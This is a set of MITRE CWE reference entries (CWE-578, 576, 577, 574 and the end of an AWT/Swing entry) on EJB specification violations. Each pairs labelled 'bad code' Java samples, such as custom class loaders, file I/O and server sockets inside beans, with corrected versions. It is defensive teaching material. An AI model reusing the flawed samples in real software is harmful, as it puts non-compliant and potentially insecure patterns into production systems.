Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

The following Java example is a simple converter class for converting US dollars to Yen. This converter class demonstrates the improper practice of using a stateless session Enterprise JavaBean that implements an AWT Component and AWT keyboard event listener to retrieve keyboard input from the user for the amount of the US dollars to convert to Yen.

(bad code)
Example Language: Java 
@Stateless
public class ConverterSessionBean extends Component implements KeyListener, ConverterSessionRemote {

/* member variables for receiving keyboard input using AWT API */

...
private StringBuffer enteredText = new StringBuffer();

/* conversion rate on US dollars to Yen */

private BigDecimal yenRate = new BigDecimal("115.3100");

public ConverterSessionBean() {
super();
/* method calls for setting up AWT Component for receiving keyboard input */

...
addKeyListener(this);
}

public BigDecimal dollarToYen(BigDecimal dollars) {
BigDecimal result = dollars.multiply(yenRate);
return result.setScale(2, BigDecimal.ROUND_DOWN);
}

/* member functions for implementing AWT KeyListener interface */

public void keyTyped(KeyEvent event) {
...
}

public void keyPressed(KeyEvent e) {
}

public void keyReleased(KeyEvent e) {
}

/* member functions for receiving keyboard input and displaying output */

public void paint(Graphics g) {...}

...
}

This use of the AWT and Swing APIs within any kind of Enterprise JavaBean not only violates the restriction of the EJB specification against using AWT or Swing within an EJB but also violates the intended use of Enterprise JavaBeans to separate business logic from presentation logic.

The Stateless Session Enterprise JavaBean should contain only business logic. Presentation logic should be provided by some other mechanism such as Servlets or Java Server Pages (JSP) as in the following Java/JSP example.

(good code)
Example Language: Java 
@Stateless
public class ConverterSessionBean implements ConverterSessionRemoteInterface {

/* conversion rate on US dollars to Yen */
private BigDecimal yenRate = new BigDecimal("115.3100");

public ConverterSessionBean() {
}

/* remote method to convert US dollars to Yen */

public BigDecimal dollarToYen(BigDecimal dollars) {
BigDecimal result = dollars.multiply(yenRate);
return result.setScale(2, BigDecimal.ROUND_DOWN);
}
}
(good code)
Example Language: JSP 
<%@ page import="converter.ejb.Converter, java.math.*, javax.naming.*"%>
<%!
private Converter converter = null;
public void jspInit() {
try {
InitialContext ic = new InitialContext();
converter = (Converter) ic.lookup(Converter.class.getName());
} catch (Exception ex) {
System.out.println("Couldn't create converter bean."+ ex.getMessage());
}
}
public void jspDestroy() {
converter = null;
}

%>
<html>
<head><title>Converter</title></head>
<body bgcolor="white">
<h1>Converter</h1>
<hr>
<p>Enter an amount to convert:</p>
<form method="get">
<input type="text" name="amount" size="25"><br>
<p>
<input type="submit" value="Submit">
<input type="reset" value="Reset">
</form>
<%
String amount = request.getParameter("amount");
if ( amount != null && amount.length() > 0 ) {
BigDecimal d = new BigDecimal(amount);
BigDecimal yenAmount = converter.dollarToYen(d);

%>
<p>
<%= amount %> dollars are <%= yenAmount %> Yen.
<p>
<%
}

%>
</body>
</html>
+ Potential Mitigations

Phase: Architecture and Design

Do not use AWT/Swing when writing EJBs.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP3Use of an improper API
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-578: EJB Bad Practices: Use of Class Loader

Weakness ID: 578
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product violates the Enterprise JavaBeans (EJB) specification by using the class loader.
+ Extended Description
The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams." The specification justifies this requirement in the following way: "These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment."
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Other

Technical Impact: Execute Unauthorized Code or Commands; Varies by Context

+ Demonstrative Examples

Example 1

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. The interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Class Loader for the EJB class to obtain the XML document from the local file system as an input stream.

(bad code)
Example Language: Java 
@Stateless
public class InterestRateBean implements InterestRateRemote {
private Document interestRateXMLDocument = null;

public InterestRateBean() {
try {

// get XML document from the local filesystem as an input stream

// using the ClassLoader for this class
ClassLoader loader = this.getClass().getClassLoader();
InputStream in = loader.getResourceAsStream(Constants.INTEREST_RATE_FILE);


DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
interestRateXMLDocument = db.parse(interestRateFile);
} catch (IOException ex) {...}
}
public BigDecimal getInterestRate(Integer points) {
return getInterestRateFromXML(points);
}

/* member function to retrieve interest rate from XML document on the local file system */

private BigDecimal getInterestRateFromXML(Integer points) {...}
}

This use of the Java Class Loader class within any kind of Enterprise JavaBean violates the restriction of the EJB specification against obtaining the current class loader as this could compromise the security of the application using the EJB.

Example 2

An EJB is also restricted from creating a custom class loader and creating a class and instance of a class from the class loader, as shown in the following example.

(bad code)
Example Language: Java 
@Stateless
public class LoaderSessionBean implements LoaderSessionRemote {
public LoaderSessionBean() {
try {
ClassLoader loader = new CustomClassLoader();
Class c = loader.loadClass("someClass");
Object obj = c.newInstance();
/* perform some task that uses the new class instance member variables or functions */
...
} catch (Exception ex) {...}
}

public class CustomClassLoader extends ClassLoader {

}
}
+ Potential Mitigations

Phases: Architecture and Design; Implementation

Do not use the Class Loader when writing EJBs.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP3Use of an improper API
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-576: EJB Bad Practices: Use of Java I/O

Weakness ID: 576
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product violates the Enterprise JavaBeans (EJB) specification by using the java.io package.
+ Extended Description
The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use the java.io package to attempt to access files and directories in the file system." The specification justifies this requirement in the following way: "The file system APIs are not well-suited for business components to access data. Business components should use a resource manager API, such as JDBC, to store data."
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.695Use of Low-Level Functionality
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. In this example, the interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Java I/O API to retrieve the XML document from the local file system.

(bad code)
Example Language: Java 
@Stateless
public class InterestRateBean implements InterestRateRemote {
private Document interestRateXMLDocument = null;
private File interestRateFile = null;

public InterestRateBean() {
try {

/* get XML document from the local filesystem */
interestRateFile = new File(Constants.INTEREST_RATE_FILE);

if (interestRateFile.exists())
{
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
interestRateXMLDocument = db.parse(interestRateFile);
}
} catch (IOException ex) {...}
}

public BigDecimal getInterestRate(Integer points) {
return getInterestRateFromXML(points);
}

/* member function to retrieve interest rate from XML document on the local file system */

private BigDecimal getInterestRateFromXML(Integer points) {...}
}

This use of the Java I/O API within any kind of Enterprise JavaBean violates the EJB specification by using the java.io package for accessing files within the local filesystem.

An Enterprise JavaBean should use a resource manager API for storing and accessing data. In the following example, the private member function getInterestRateFromXMLParser uses an XML parser API to retrieve the interest rates.

(good code)
Example Language: Java 
@Stateless
public class InterestRateBean implements InterestRateRemote {

public InterestRateBean() {
}

public BigDecimal getInterestRate(Integer points) {
return getInterestRateFromXMLParser(points);
}

/* member function to retrieve interest rate from XML document using an XML parser API */

private BigDecimal getInterestRateFromXMLParser(Integer points) {...}
}
+ Potential Mitigations

Phase: Implementation

Do not use Java I/O when writing EJBs.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP3Use of an improper API
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-577: EJB Bad Practices: Use of Sockets

Weakness ID: 577
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product violates the Enterprise JavaBeans (EJB) specification by using sockets.
+ Extended Description
The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast." The specification justifies this requirement in the following way: "The EJB architecture allows an enterprise bean instance to be a network socket client, but it does not allow it to be a network server. Allowing the instance to become a network server would conflict with the basic function of the enterprise bean-- to serve the EJB clients."
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

The following Java example is a simple stateless Enterprise JavaBean that retrieves stock symbols and stock values. The Enterprise JavaBean creates a socket and listens for and accepts connections from clients on the socket.

(bad code)
Example Language: Java 
@Stateless
public class StockSymbolBean implements StockSymbolRemote {

ServerSocket serverSocket = null;
Socket clientSocket = null;

public StockSymbolBean() {
try {
serverSocket = new ServerSocket(Constants.SOCKET_PORT);
} catch (IOException ex) {...}

try {
clientSocket = serverSocket.accept();
} catch (IOException e) {...}
}

public String getStockSymbol(String name) {...}

public BigDecimal getStockValue(String symbol) {...}

private void processClientInputFromSocket() {...}
}

And the following Java example is similar to the previous example but demonstrates the use of multicast socket connections within an Enterprise JavaBean.

(bad code)
Example Language: Java 
@Stateless
public class StockSymbolBean extends Thread implements StockSymbolRemote {

ServerSocket serverSocket = null;
Socket clientSocket = null;
boolean listening = false;

public StockSymbolBean() {
try {
serverSocket = new ServerSocket(Constants.SOCKET_PORT);
} catch (IOException ex) {...}

listening = true;
while(listening) {
start();
}
}

public String getStockSymbol(String name) {...}

public BigDecimal getStockValue(String symbol) {...}

public void run() {
try {
clientSocket = serverSocket.accept();
} catch (IOException e) {...}
...
}
}

The previous two examples within any type of Enterprise JavaBean violate the EJB specification by attempting to listen on a socket, accepting connections on a socket, or using a socket for multicast.

+ Potential Mitigations

Phases: Architecture and Design; Implementation

Do not use Sockets when writing EJBs.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP3Use of an improper API
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-574: EJB Bad Practices: Use of Synchronization Primitives

Weakness ID: 574
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.
+ Extended Description
The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use thread synchronization primitives to synchronize execution of multiple instances." The specification justifies this requirement in the following way: "This rule is required to ensure consistent runtime semantics because while some EJB containers may use a single JVM to execute all enterprise bean's instances, others may distribute the instances across multiple JVMs."
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.695Use of Low-Level Functionality
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.821Incorrect Synchronization
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

In the following Java example a Customer Entity EJB provides access to customer information in a database for a business application.

(bad code)
Example Language: Java 
@Entity
public class Customer implements Serializable {
private String id;
private String firstName;
private String lastName;
private Address address;

public Customer() {...}

public Customer(String id, String firstName, String lastName) {...}

@Id
public String getCustomerId() {...}

public synchronized void setCustomerId(String id) {...}

public String getFirstName() {...}

public synchronized void setFirstName(String firstName) {...}

public String getLastName() {...}

public synchronized void setLastName(String lastName) {...}

@OneToOne()
public Address getAddress() {...}

public synchronized void setAddress(Address address) {...}
}

However, the customer entity EJB uses the synchronized keyword for the set methods to attempt to provide thread safe synchronization for the member variables. The use of synchronized methods violate the restriction of the EJB specification against the use synchronization primitives within EJBs. Using synchronization primitives may cause inconsistent behavior of the EJB when used within different EJB containers.

+ Potential Mitigations

Phase: Implementation

Do not use Synchronization Primitives when writing EJBs.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP3Use of an improper API
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2010-04-05CWE Content TeamMITRE
updated Demonstrative_Examples
2010-09-27CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-506: Embedded Malicious Code

Weakness ID: 506
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
